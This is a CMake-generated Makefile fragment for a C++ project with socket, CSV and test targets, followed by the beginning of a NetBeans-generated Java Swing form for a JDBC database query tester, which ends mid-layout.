# target to generate assembly for a file
Properties/Properties.cpp.s:
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Properties/Properties.cpp.s
$(MAKE) -f CMakeFiles/test_Properties.dir/build.make CMakeFiles/test_Properties.dir/Properties/Properties.cpp.s
.PHONY : Properties/Properties.cpp.s
SocketUtilities/ClientSocket.o: SocketUtilities/ClientSocket.cpp.o
.PHONY : SocketUtilities/ClientSocket.o
# target to build an object file
SocketUtilities/ClientSocket.cpp.o:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/ClientSocket.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/ClientSocket.cpp.o
.PHONY : SocketUtilities/ClientSocket.cpp.o
SocketUtilities/ClientSocket.i: SocketUtilities/ClientSocket.cpp.i
.PHONY : SocketUtilities/ClientSocket.i
# target to preprocess a source file
SocketUtilities/ClientSocket.cpp.i:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/ClientSocket.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/ClientSocket.cpp.i
.PHONY : SocketUtilities/ClientSocket.cpp.i
SocketUtilities/ClientSocket.s: SocketUtilities/ClientSocket.cpp.s
.PHONY : SocketUtilities/ClientSocket.s
# target to generate assembly for a file
SocketUtilities/ClientSocket.cpp.s:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/ClientSocket.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/ClientSocket.cpp.s
.PHONY : SocketUtilities/ClientSocket.cpp.s
SocketUtilities/HostInfo.o: SocketUtilities/HostInfo.cpp.o
.PHONY : SocketUtilities/HostInfo.o
# target to build an object file
SocketUtilities/HostInfo.cpp.o:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/HostInfo.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/HostInfo.cpp.o
.PHONY : SocketUtilities/HostInfo.cpp.o
SocketUtilities/HostInfo.i: SocketUtilities/HostInfo.cpp.i
.PHONY : SocketUtilities/HostInfo.i
# target to preprocess a source file
SocketUtilities/HostInfo.cpp.i:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/HostInfo.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/HostInfo.cpp.i
.PHONY : SocketUtilities/HostInfo.cpp.i
SocketUtilities/HostInfo.s: SocketUtilities/HostInfo.cpp.s
.PHONY : SocketUtilities/HostInfo.s
# target to generate assembly for a file
SocketUtilities/HostInfo.cpp.s:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/HostInfo.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/HostInfo.cpp.s
.PHONY : SocketUtilities/HostInfo.cpp.s
SocketUtilities/ServerSocket.o: SocketUtilities/ServerSocket.cpp.o
.PHONY : SocketUtilities/ServerSocket.o
# target to build an object file
SocketUtilities/ServerSocket.cpp.o:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/ServerSocket.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/ServerSocket.cpp.o
.PHONY : SocketUtilities/ServerSocket.cpp.o
SocketUtilities/ServerSocket.i: SocketUtilities/ServerSocket.cpp.i
.PHONY : SocketUtilities/ServerSocket.i
# target to preprocess a source file
SocketUtilities/ServerSocket.cpp.i:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/ServerSocket.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/ServerSocket.cpp.i
.PHONY : SocketUtilities/ServerSocket.cpp.i
SocketUtilities/ServerSocket.s: SocketUtilities/ServerSocket.cpp.s
.PHONY : SocketUtilities/ServerSocket.s
# target to generate assembly for a file
SocketUtilities/ServerSocket.cpp.s:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/ServerSocket.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/ServerSocket.cpp.s
.PHONY : SocketUtilities/ServerSocket.cpp.s
SocketUtilities/Socket.o: SocketUtilities/Socket.cpp.o
.PHONY : SocketUtilities/Socket.o
# target to build an object file
SocketUtilities/Socket.cpp.o:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/Socket.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/Socket.cpp.o
.PHONY : SocketUtilities/Socket.cpp.o
SocketUtilities/Socket.i: SocketUtilities/Socket.cpp.i
.PHONY : SocketUtilities/Socket.i
# target to preprocess a source file
SocketUtilities/Socket.cpp.i:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/Socket.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/Socket.cpp.i
.PHONY : SocketUtilities/Socket.cpp.i
SocketUtilities/Socket.s: SocketUtilities/Socket.cpp.s
.PHONY : SocketUtilities/Socket.s
# target to generate assembly for a file
SocketUtilities/Socket.cpp.s:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/SocketUtilities/Socket.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/SocketUtilities/Socket.cpp.s
.PHONY : SocketUtilities/Socket.cpp.s
Tests/CsvExceptionTest.o: Tests/CsvExceptionTest.cpp.o
.PHONY : Tests/CsvExceptionTest.o
# target to build an object file
Tests/CsvExceptionTest.cpp.o:
$(MAKE) -f CMakeFiles/test_CsvException.dir/build.make CMakeFiles/test_CsvException.dir/Tests/CsvExceptionTest.cpp.o
.PHONY : Tests/CsvExceptionTest.cpp.o
Tests/CsvExceptionTest.i: Tests/CsvExceptionTest.cpp.i
.PHONY : Tests/CsvExceptionTest.i
# target to preprocess a source file
Tests/CsvExceptionTest.cpp.i:
$(MAKE) -f CMakeFiles/test_CsvException.dir/build.make CMakeFiles/test_CsvException.dir/Tests/CsvExceptionTest.cpp.i
.PHONY : Tests/CsvExceptionTest.cpp.i
Tests/CsvExceptionTest.s: Tests/CsvExceptionTest.cpp.s
.PHONY : Tests/CsvExceptionTest.s
# target to generate assembly for a file
Tests/CsvExceptionTest.cpp.s:
$(MAKE) -f CMakeFiles/test_CsvException.dir/build.make CMakeFiles/test_CsvException.dir/Tests/CsvExceptionTest.cpp.s
.PHONY : Tests/CsvExceptionTest.cpp.s
Tests/CsvHandlerTest.o: Tests/CsvHandlerTest.cpp.o
.PHONY : Tests/CsvHandlerTest.o
# target to build an object file
Tests/CsvHandlerTest.cpp.o:
$(MAKE) -f CMakeFiles/test_CsvHandler.dir/build.make CMakeFiles/test_CsvHandler.dir/Tests/CsvHandlerTest.cpp.o
.PHONY : Tests/CsvHandlerTest.cpp.o
Tests/CsvHandlerTest.i: Tests/CsvHandlerTest.cpp.i
.PHONY : Tests/CsvHandlerTest.i
# target to preprocess a source file
Tests/CsvHandlerTest.cpp.i:
$(MAKE) -f CMakeFiles/test_CsvHandler.dir/build.make CMakeFiles/test_CsvHandler.dir/Tests/CsvHandlerTest.cpp.i
.PHONY : Tests/CsvHandlerTest.cpp.i
Tests/CsvHandlerTest.s: Tests/CsvHandlerTest.cpp.s
.PHONY : Tests/CsvHandlerTest.s
# target to generate assembly for a file
Tests/CsvHandlerTest.cpp.s:
$(MAKE) -f CMakeFiles/test_CsvHandler.dir/build.make CMakeFiles/test_CsvHandler.dir/Tests/CsvHandlerTest.cpp.s
.PHONY : Tests/CsvHandlerTest.cpp.s
Tests/ErrnoExceptionTest.o: Tests/ErrnoExceptionTest.cpp.o
.PHONY : Tests/ErrnoExceptionTest.o
# target to build an object file
Tests/ErrnoExceptionTest.cpp.o:
$(MAKE) -f CMakeFiles/test_errnoException.dir/build.make CMakeFiles/test_errnoException.dir/Tests/ErrnoExceptionTest.cpp.o
.PHONY : Tests/ErrnoExceptionTest.cpp.o
Tests/ErrnoExceptionTest.i: Tests/ErrnoExceptionTest.cpp.i
.PHONY : Tests/ErrnoExceptionTest.i
# target to preprocess a source file
Tests/ErrnoExceptionTest.cpp.i:
$(MAKE) -f CMakeFiles/test_errnoException.dir/build.make CMakeFiles/test_errnoException.dir/Tests/ErrnoExceptionTest.cpp.i
.PHONY : Tests/ErrnoExceptionTest.cpp.i
Tests/ErrnoExceptionTest.s: Tests/ErrnoExceptionTest.cpp.s
.PHONY : Tests/ErrnoExceptionTest.s
# target to generate assembly for a file
Tests/ErrnoExceptionTest.cpp.s:
$(MAKE) -f CMakeFiles/test_errnoException.dir/build.make CMakeFiles/test_errnoException.dir/Tests/ErrnoExceptionTest.cpp.s
.PHONY : Tests/ErrnoExceptionTest.cpp.s
Tests/HostInfoTest.o: Tests/HostInfoTest.cpp.o
.PHONY : Tests/HostInfoTest.o
# target to build an object file
Tests/HostInfoTest.cpp.o:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/Tests/HostInfoTest.cpp.o
.PHONY : Tests/HostInfoTest.cpp.o
Tests/HostInfoTest.i: Tests/HostInfoTest.cpp.i
.PHONY : Tests/HostInfoTest.i
# target to preprocess a source file
Tests/HostInfoTest.cpp.i:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/Tests/HostInfoTest.cpp.i
.PHONY : Tests/HostInfoTest.cpp.i
Tests/HostInfoTest.s: Tests/HostInfoTest.cpp.s
.PHONY : Tests/HostInfoTest.s
# target to generate assembly for a file
Tests/HostInfoTest.cpp.s:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/Tests/HostInfoTest.cpp.s
.PHONY : Tests/HostInfoTest.cpp.s
Tests/LoginCsvHandlerTest.o: Tests/LoginCsvHandlerTest.cpp.o
.PHONY : Tests/LoginCsvHandlerTest.o
# target to build an object file
Tests/LoginCsvHandlerTest.cpp.o:
$(MAKE) -f CMakeFiles/test_LoginCsvHandler.dir/build.make CMakeFiles/test_LoginCsvHandler.dir/Tests/LoginCsvHandlerTest.cpp.o
.PHONY : Tests/LoginCsvHandlerTest.cpp.o
Tests/LoginCsvHandlerTest.i: Tests/LoginCsvHandlerTest.cpp.i
.PHONY : Tests/LoginCsvHandlerTest.i
# target to preprocess a source file
Tests/LoginCsvHandlerTest.cpp.i:
$(MAKE) -f CMakeFiles/test_LoginCsvHandler.dir/build.make CMakeFiles/test_LoginCsvHandler.dir/Tests/LoginCsvHandlerTest.cpp.i
.PHONY : Tests/LoginCsvHandlerTest.cpp.i
Tests/LoginCsvHandlerTest.s: Tests/LoginCsvHandlerTest.cpp.s
.PHONY : Tests/LoginCsvHandlerTest.s
# target to generate assembly for a file
Tests/LoginCsvHandlerTest.cpp.s:
$(MAKE) -f CMakeFiles/test_LoginCsvHandler.dir/build.make CMakeFiles/test_LoginCsvHandler.dir/Tests/LoginCsvHandlerTest.cpp.s
.PHONY : Tests/LoginCsvHandlerTest.cpp.s
Tests/PropertiesTest.o: Tests/PropertiesTest.cpp.o
.PHONY : Tests/PropertiesTest.o
# target to build an object file
Tests/PropertiesTest.cpp.o:
$(MAKE) -f CMakeFiles/test_Properties.dir/build.make CMakeFiles/test_Properties.dir/Tests/PropertiesTest.cpp.o
.PHONY : Tests/PropertiesTest.cpp.o
Tests/PropertiesTest.i: Tests/PropertiesTest.cpp.i
.PHONY : Tests/PropertiesTest.i
# target to preprocess a source file
Tests/PropertiesTest.cpp.i:
$(MAKE) -f CMakeFiles/test_Properties.dir/build.make CMakeFiles/test_Properties.dir/Tests/PropertiesTest.cpp.i
.PHONY : Tests/PropertiesTest.cpp.i
Tests/PropertiesTest.s: Tests/PropertiesTest.cpp.s
.PHONY : Tests/PropertiesTest.s
# target to generate assembly for a file
Tests/PropertiesTest.cpp.s:
$(MAKE) -f CMakeFiles/test_Properties.dir/build.make CMakeFiles/test_Properties.dir/Tests/PropertiesTest.cpp.s
.PHONY : Tests/PropertiesTest.cpp.s
Tests/test.o: Tests/test.cpp.o
.PHONY : Tests/test.o
# target to build an object file
Tests/test.cpp.o:
$(MAKE) -f CMakeFiles/test_Project.dir/build.make CMakeFiles/test_Project.dir/Tests/test.cpp.o
.PHONY : Tests/test.cpp.o
Tests/test.i: Tests/test.cpp.i
.PHONY : Tests/test.i
# target to preprocess a source file
Tests/test.cpp.i:
$(MAKE) -f CMakeFiles/test_Project.dir/build.make CMakeFiles/test_Project.dir/Tests/test.cpp.i
.PHONY : Tests/test.cpp.i
Tests/test.s: Tests/test.cpp.s
.PHONY : Tests/test.s
# target to generate assembly for a file
Tests/test.cpp.s:
$(MAKE) -f CMakeFiles/test_Project.dir/build.make CMakeFiles/test_Project.dir/Tests/test.cpp.s
.PHONY : Tests/test.cpp.s
# Help Target
help:
@echo "The following are some of the valid targets for this Makefile:"
@echo "... all (the default if no target is provided)"
@echo "... clean"
@echo "... depend"
@echo "... rebuild_cache"
@echo "... test_Project"
@echo "... test_hostInfo"
@echo "... test_LoginCsvHandler"
@echo "... Librairies"
@echo "... test_Properties"
@echo "... test_CsvHandler"
@echo "... edit_cache"
@echo "... test_errnoException"
@echo "... test_CsvException"
@echo "... CIMP/CIMP.o"
@echo "... CIMP/CIMP.i"
@echo "... CIMP/CIMP.s"
@echo "... CSV/CsvHandler.o"
@echo "... CSV/CsvHandler.i"
@echo "... CSV/CsvHandler.s"
@echo "... CSV/LoginCsvHandler.o"
@echo "... CSV/LoginCsvHandler.i"
@echo "... CSV/LoginCsvHandler.s"
@echo "... CSV/LuggageCsvHandler.o"
@echo "... CSV/LuggageCsvHandler.i"
@echo "... CSV/LuggageCsvHandler.s"
@echo "... CSV/LuggageDatabase.o"
@echo "... CSV/LuggageDatabase.i"
@echo "... CSV/LuggageDatabase.s"
@echo "... CSV/TicketCsvHandler.o"
@echo "... CSV/TicketCsvHandler.i"
@echo "... CSV/TicketCsvHandler.s"
@echo "... Exceptions/CIMPException.o"
@echo "... Exceptions/CIMPException.i"
@echo "... Exceptions/CIMPException.s"
@echo "... Exceptions/CsvException.o"
@echo "... Exceptions/CsvException.i"
@echo "... Exceptions/CsvException.s"
@echo "... Exceptions/ErrnoException.o"
@echo "... Exceptions/ErrnoException.i"
@echo "... Exceptions/ErrnoException.s"
@echo "... Exceptions/HostException.o"
@echo "... Exceptions/HostException.i"
@echo "... Exceptions/HostException.s"
@echo "... Exceptions/PropertiesException.o"
@echo "... Exceptions/PropertiesException.i"
@echo "... Exceptions/PropertiesException.s"
@echo "... Exceptions/SocketException.o"
@echo "... Exceptions/SocketException.i"
@echo "... Exceptions/SocketException.s"
@echo "... Properties/Properties.o"
@echo "... Properties/Properties.i"
@echo "... Properties/Properties.s"
@echo "... SocketUtilities/ClientSocket.o"
@echo "... SocketUtilities/ClientSocket.i"
@echo "... SocketUtilities/ClientSocket.s"
@echo "... SocketUtilities/HostInfo.o"
@echo "... SocketUtilities/HostInfo.i"
@echo "... SocketUtilities/HostInfo.s"
@echo "... SocketUtilities/ServerSocket.o"
@echo "... SocketUtilities/ServerSocket.i"
@echo "... SocketUtilities/ServerSocket.s"
@echo "... SocketUtilities/Socket.o"
@echo "... SocketUtilities/Socket.i"
@echo "... SocketUtilities/Socket.s"
@echo "... Tests/CsvExceptionTest.o"
@echo "... Tests/CsvExceptionTest.i"
@echo "... Tests/CsvExceptionTest.s"
@echo "... Tests/CsvHandlerTest.o"
@echo "... Tests/CsvHandlerTest.i"
@echo "... Tests/CsvHandlerTest.s"
@echo "... Tests/ErrnoExceptionTest.o"
@echo "... Tests/ErrnoExceptionTest.i"
@echo "... Tests/ErrnoExceptionTest.s"
@echo "... Tests/HostInfoTest.o"
@echo "... Tests/HostInfoTest.i"
@echo "... Tests/HostInfoTest.s"
@echo "... Tests/LoginCsvHandlerTest.o"
@echo "... Tests/LoginCsvHandlerTest.i"
@echo "... Tests/LoginCsvHandlerTest.s"
@echo "... Tests/PropertiesTest.o"
@echo "... Tests/PropertiesTest.i"
@echo "... Tests/PropertiesTest.s"
@echo "... Tests/test.o"
@echo "... Tests/test.i"
@echo "... Tests/test.s"
.PHONY : help
#=============================================================================
# Special targets to cleanup operation of make.
# Special rule to run CMake to check the build system integrity.
# No rule that depends on this can have commands that come from listfiles
# because they might be regenerated.
cmake_check_build_system:
$(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0
.PHONY : cmake_check_build_system
<file_sep>/part_2/Evaluation2(ancien)/APPLICATION_TEST_JDBC/src/application_test_jdbc/MainFrame.java
package application_test_jdbc;
import database.utilities.DatabaseAccess;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.event.PopupMenuEvent;
import javax.swing.event.PopupMenuListener;
import javax.swing.table.DefaultTableModel;
public class MainFrame extends javax.swing.JFrame {
private DatabaseAccess databaseAccess;
/** Creates new form MainFrame */
public MainFrame() {
initComponents();
this.databaseAccess = null;
this.tabbedPaneRequestType.setVisible(false);
this.scrollPaneFree.setVisible(false);
this.labelFreeResultMessage.setVisible(false);
}
public void connect(DatabaseAccess newAccess){
if(this.databaseAccess!=null)
this.databaseAccess.disconnect();
this.databaseAccess = newAccess;
if(newAccess!=null){
this.tabbedPaneRequestType.setVisible(true);
try {
ArrayList<String> tableNames;
tableNames= databaseAccess.getTableNames();
for(String name : tableNames){
comboBoxSelectFrom.addItem(name);
comboBoxCountFrom.addItem(name);
comboBoxUpdateSet.addItem(name);
}
comboBoxSelectFrom.setSelectedIndex(-1);
comboBoxUpdateSet.setSelectedIndex(-1);
comboBoxCountFrom.setSelectedIndex(-1);
menuConnection.setText("Disconnect");
} catch (SQLException ex) {
Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
tabbedPaneRequestType = new javax.swing.JTabbedPane();
panelSelect = new javax.swing.JPanel();
labelSelectSelect = new javax.swing.JLabel();
textFieldSelectSelect = new javax.swing.JTextField();
labelSelectFrom = new javax.swing.JLabel();
comboBoxSelectFrom = new javax.swing.JComboBox<>();
labelSelectWhere = new javax.swing.JLabel();
textFieldSelectWhere = new javax.swing.JTextField();
scrollPaneSelect = new javax.swing.JScrollPane();
tableSelectResult = new javax.swing.JTable();
jSeparator1 = new javax.swing.JSeparator();
buttonSelectExecute = new javax.swing.JButton();
panelCount = new javax.swing.JPanel();
labelCountSelect = new javax.swing.JLabel();
textFieldCountSelect = new javax.swing.JTextField();
labelCountFrom = new javax.swing.JLabel();
comboBoxCountFrom = new javax.swing.JComboBox<>();
labelCountWhere = new javax.swing.JLabel();
textFieldCountWhere = new javax.swing.JTextField();
jSeparator2 = new javax.swing.JSeparator();
labelCountResult = new javax.swing.JLabel();
labelCountResultMessage = new javax.swing.JLabel();
buttonCountExecute = new javax.swing.JButton();
panelUpdate = new javax.swing.JPanel();
labelUpdateSet = new javax.swing.JLabel();
textFieldUpdateSet = new javax.swing.JTextField();
labelUpdateUpdate = new javax.swing.JLabel();
comboBoxUpdateSet = new javax.swing.JComboBox<>();
labelUpdateWhere = new javax.swing.JLabel();
textFieldUpdateWhere = new javax.swing.JTextField();
jSeparator3 = new javax.swing.JSeparator();
labelUpdateResult = new javax.swing.JLabel();
labelUpdateResultMessage = new javax.swing.JLabel();
buttonUpdateExecute = new javax.swing.JButton();
panelFree = new javax.swing.JPanel();
jScrollPane2 = new javax.swing.JScrollPane();
textAreaFree = new javax.swing.JTextArea();
jSeparator4 = new javax.swing.JSeparator();
labelFreeResult = new javax.swing.JLabel();
buttonFreeExecute = new javax.swing.JButton();
scrollPaneFree = new javax.swing.JScrollPane();
tableFreeResult = new javax.swing.JTable();
labelFreeResultMessage = new javax.swing.JLabel();
jMenuBar1 = new javax.swing.JMenuBar();
menuConnection = new javax.swing.JMenu();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
labelSelectSelect.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelSelectSelect.setText("SELECT");
labelSelectFrom.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelSelectFrom.setText("FROM");
labelSelectWhere.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelSelectWhere.setText("WHERE");
textFieldSelectWhere.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
textFieldSelectWhereActionPerformed(evt);
}
});
tableSelectResult.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
scrollPaneSelect.setViewportView(tableSelectResult);
buttonSelectExecute.setText("execute");
buttonSelectExecute.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonSelectExecuteActionPerformed(evt);
}
});
javax.swing.GroupLayout panelSelectLayout = new javax.swing.GroupLayout(panelSelect);
panelSelect.setLayout(panelSelectLayout);
panelSelectLayout.setHorizontalGroup(
panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelSelectLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(scrollPaneSelect, javax.swing.GroupLayout.DEFAULT_SIZE, 642, Short.MAX_VALUE)
.addGroup(panelSelectLayout.createSequentialGroup()
.addGroup(panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(labelSelectSelect)
.addComponent(labelSelectFrom)
.addComponent(labelSelectWhere))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelSelectLayout.createSequentialGroup()
.addComponent(comboBoxSelectFrom, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(buttonSelectExecute))
.addGroup(panelSelectLayout.createSequentialGroup()
.addGroup(panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(textFieldSelectWhere, javax.swing.GroupLayout.DEFAULT_SIZE, 480, Short.MAX_VALUE)
.addComponent(textFieldSelectSelect))
.addGap(0, 0, Short.MAX_VALUE)))))
.addContainerGap())
.addComponent(jSeparator1)
);
panelSelectLayout.setVerticalGroup(
panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, panelSelectLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelSelectSelect)
.addComponent(textFieldSelectSelect, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(comboBoxSelectFrom, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(labelSelectFrom)
.addComponent(buttonSelectExecute))
.addGap(18, 18, 18)
.addGroup(panelSelectLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(textFieldSelectWhere, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(labelSelectWhere))
.addGap(12, 12, 12)
.addComponent(jSeparator1, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(scrollPaneSelect, javax.swing.GroupLayout.DEFAULT_SIZE, 157, Short.MAX_VALUE)
.addContainerGap())
);
tabbedPaneRequestType.addTab("SELECT", panelSelect);
labelCountSelect.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelCountSelect.setText("SELECT");
textFieldCountSelect.setText("COUNT(*)");
textFieldCountSelect.setEnabled(false);
labelCountFrom.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelCountFrom.setText("FROM");
labelCountWhere.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelCountWhere.setText("WHERE");
labelCountResult.setText("Result :");
buttonCountExecute.setText("execute");
buttonCountExecute.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonCountExecuteActionPerformed(evt);
}
});
javax.swing.GroupLayout panelCountLayout = new javax.swing.GroupLayout(panelCount);
panelCount.setLayout(panelCountLayout);
panelCountLayout.setHorizontalGroup(
panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jSeparator2)
.addGroup(panelCountLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelCountLayout.createSequentialGroup()
.addGroup(panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(labelCountSelect)
.addComponent(labelCountFrom)
.addComponent(labelCountWhere))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(comboBoxCountFrom, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(labelCountResultMessage, javax.swing.GroupLayout.PREFERRED_SIZE, 155, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(textFieldCountSelect, javax.swing.GroupLayout.DEFAULT_SIZE, 480, Short.MAX_VALUE)
.addComponent(textFieldCountWhere))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 19, Short.MAX_VALUE)
.addComponent(buttonCountExecute))
.addGroup(panelCountLayout.createSequentialGroup()
.addComponent(labelCountResult)
.addGap(0, 0, Short.MAX_VALUE)))
.addContainerGap())
);
panelCountLayout.setVerticalGroup(
panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panelCountLayout.createSequentialGroup()
.addContainerGap()
.addGroup(panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelCountSelect)
.addComponent(textFieldCountSelect, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(comboBoxCountFrom, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(labelCountFrom)
.addComponent(buttonCountExecute))
.addGap(18, 18, 18)
.addGroup(panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(textFieldCountWhere, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(labelCountWhere))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jSeparator2, javax.swing.GroupLayout.PREFERRED_SIZE, 9, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(panelCountLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(labelCountResult)
.addComponent(labelCountResultMessage))
.addContainerGap(148, Short.MAX_VALUE))
);
tabbedPaneRequestType.addTab("COUNT", panelCount);
labelUpdateSet.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelUpdateSet.setText("SET");
labelUpdateUpdate.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N
labelUpdateUpdate.setText("UPDATE");
